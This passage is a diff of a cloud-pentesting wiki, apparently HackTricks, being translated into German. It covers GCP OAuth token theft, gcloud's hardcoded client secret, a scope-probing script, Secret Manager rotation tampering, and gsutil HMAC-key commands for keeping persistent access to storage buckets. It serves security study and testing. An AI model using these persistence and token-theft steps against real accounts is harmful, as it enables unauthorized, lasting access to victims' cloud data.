Then, gcloud will use the state and code with a some hardcoded `client_id` (`32555940559.apps.googleusercontent.com`) and **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) to get the **final refresh token data**.
|
||||
Dann wird gcloud den Zustand und den Code mit einer fest codierten `client_id` (`32555940559.apps.googleusercontent.com`) und **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) verwenden, um die **finalen Refresh-Token-Daten** zu erhalten.
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that the communication with localhost is in HTTP, so it it's possible to intercept the data to get a refresh token, however this data is valid just 1 time, so this would be useless, it's easier to just read the refresh token from the file.
|
||||
> Beachten Sie, dass die Kommunikation mit localhost über HTTP erfolgt, sodass es möglich ist, die Daten abzufangen, um ein Refresh-Token zu erhalten. Diese Daten sind jedoch nur 1 Mal gültig, daher wäre dies nutzlos; es ist einfacher, das Refresh-Token aus der Datei zu lesen.
|
||||
|
||||
### OAuth Scopes
|
||||
|
||||
You can find all Google scopes in [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) or get them executing:
|
||||
### OAuth-Bereiche
|
||||
|
||||
Sie finden alle Google-Bereiche unter [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) oder erhalten sie, indem Sie ausführen:
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
|
||||
```
|
||||
|
||||
It's possible to see which scopes the application that **`gcloud`** uses to authenticate can support with this script:
|
||||
|
||||
Es ist möglich zu sehen, welche Scopes die Anwendung, die **`gcloud`** zur Authentifizierung verwendet, mit diesem Skript unterstützen kann:
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
fi
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
fi
|
||||
done
|
||||
```
|
||||
|
||||
After executing it it was checked that this app supports these scopes:
|
||||
|
||||
Nach der Ausführung wurde überprüft, dass diese App diese Scopes unterstützt:
|
||||
```
|
||||
https://www.googleapis.com/auth/appengine.admin
|
||||
https://www.googleapis.com/auth/bigquery
|
||||
@@ -78,31 +65,26 @@ https://www.googleapis.com/auth/devstorage.full_control
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
```
|
||||
es ist interessant zu sehen, wie diese App den **`drive`** Scope unterstützt, der es einem Benutzer ermöglichen könnte, von GCP zu Workspace zu eskalieren, wenn es einem Angreifer gelingt, den Benutzer zu zwingen, ein Token mit diesem Scope zu generieren.
|
||||
|
||||
it's interesting to see how this app supports the **`drive`** scope, which could allow a user to escalate from GCP to Workspace if an attacker manages to force the user to generate a token with this scope.
|
||||
**Überprüfen Sie, wie Sie** [**das hier ausnutzen können**](../gcp-to-workspace-pivoting/#abusing-gcloud)**.**
|
||||
|
||||
**Check how to** [**abuse this here**](../gcp-to-workspace-pivoting/#abusing-gcloud)**.**
|
||||
### Dienstkonten
|
||||
|
||||
### Service Accounts
|
||||
Genau wie bei authentifizierten Benutzern, wenn Sie es schaffen, die **private Schlüsseldatei** eines Dienstkontos zu **kompromittieren, können Sie in der Regel so lange darauf zugreifen, wie Sie möchten**.\
|
||||
Wenn Sie jedoch das **OAuth-Token** eines Dienstkontos stehlen, kann das sogar noch interessanter sein, denn selbst wenn diese Tokens standardmäßig nur eine Stunde lang nützlich sind, bleibt das **OAuth-Token gültig, bis es abläuft, wenn das Opfer den privaten API-Schlüssel löscht**.
|
||||
|
||||
Just like with authenticated users, if you manage to **compromise the private key file** of a service account you will be able to **access it usually as long as you want**.\
|
||||
However, if you steal the **OAuth token** of a service account this can be even more interesting, because, even if by default these tokens are useful just for an hour, if the **victim deletes the private api key, the OAuh token will still be valid until it expires**.
|
||||
### Metadaten
|
||||
|
||||
### Metadata
|
||||
Offensichtlich können Sie, solange Sie sich in einer Maschine im GCP-Umfeld befinden, **auf das Dienstkonto zugreifen, das an dieser Maschine angehängt ist, indem Sie den Metadaten-Endpunkt kontaktieren** (beachten Sie, dass die OAuth-Tokens, auf die Sie in diesem Endpunkt zugreifen können, normalerweise durch Scopes eingeschränkt sind).
|
||||
|
||||
Obviously, as long as you are inside a machine running in the GCP environment you will be able to **access the service account attached to that machine contacting the metadata endpoint** (note that the Oauth tokens you can access in this endpoint are usually restricted by scopes).
|
||||
### Abhilfemaßnahmen
|
||||
|
||||
### Remediations
|
||||
Einige Abhilfemaßnahmen für diese Techniken werden in [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) erklärt.
|
||||
|
||||
Some remediations for these techniques are explained in [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
### References
|
||||
### Referenzen
|
||||
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,23 +4,19 @@
|
||||
|
||||
## Secret Manager
|
||||
|
||||
Find more information about Secret Manager in:
|
||||
Finden Sie weitere Informationen über den Secret Manager in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Rotation misuse
|
||||
### Missbrauch der Rotation
|
||||
|
||||
An attacker could update the secret to:
|
||||
Ein Angreifer könnte das Geheimnis aktualisieren, um:
|
||||
|
||||
- **Stop rotations** so the secret won't be modified
|
||||
- **Make rotations much less often** so the secret won't be modified
|
||||
- **Publish the rotation message to a different pub/sub**
|
||||
- **Modify the rotation code being executed.** This happens in a different service, probably in a Cloud Function, so the attacker will need privileged access over the Cloud Function or any other service.
|
||||
- **Rotationen zu stoppen**, sodass das Geheimnis nicht geändert wird
|
||||
- **Rotationen viel seltener zu machen**, sodass das Geheimnis nicht geändert wird
|
||||
- **Die Rotationsnachricht an ein anderes Pub/Sub zu veröffentlichen**
|
||||
- **Den ausgeführten Rotationscode zu ändern.** Dies geschieht in einem anderen Dienst, wahrscheinlich in einer Cloud-Funktion, sodass der Angreifer privilegierten Zugriff auf die Cloud-Funktion oder einen anderen Dienst benötigt.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - Storage Persistence
|
||||
# GCP - Speicherpersistenz
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Storage
|
||||
## Speicher
|
||||
|
||||
For more information about Cloud Storage check:
|
||||
Für weitere Informationen über Cloud Storage siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
@@ -12,8 +12,7 @@ For more information about Cloud Storage check:
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
You can create an HMAC to maintain persistence over a bucket. For more information about this technique [**check it here**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
|
||||
|
||||
Sie können einen HMAC erstellen, um die Persistenz über einen Bucket aufrechtzuerhalten. Für weitere Informationen zu dieser Technik [**sehen Sie hier nach**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email>
|
||||
@@ -24,19 +23,14 @@ gsutil config -a
|
||||
# Use it
|
||||
gsutil ls gs://[BUCKET_NAME]
|
||||
```
|
||||
Ein weiteres Exploit-Skript für diese Methode kann [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py) gefunden werden.
|
||||
|
||||
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
### Öffentliches Zugriffsrecht gewähren
|
||||
|
||||
### Give Public Access
|
||||
|
||||
**Making a bucket publicly accessible** is another way to maintain access over the bucket. Check how to do it in:
|
||||
**Einen Bucket öffentlich zugänglich machen** ist eine weitere Möglichkeit, den Zugriff auf den Bucket aufrechtzuerhalten. Überprüfen Sie, wie es geht in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-storage-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user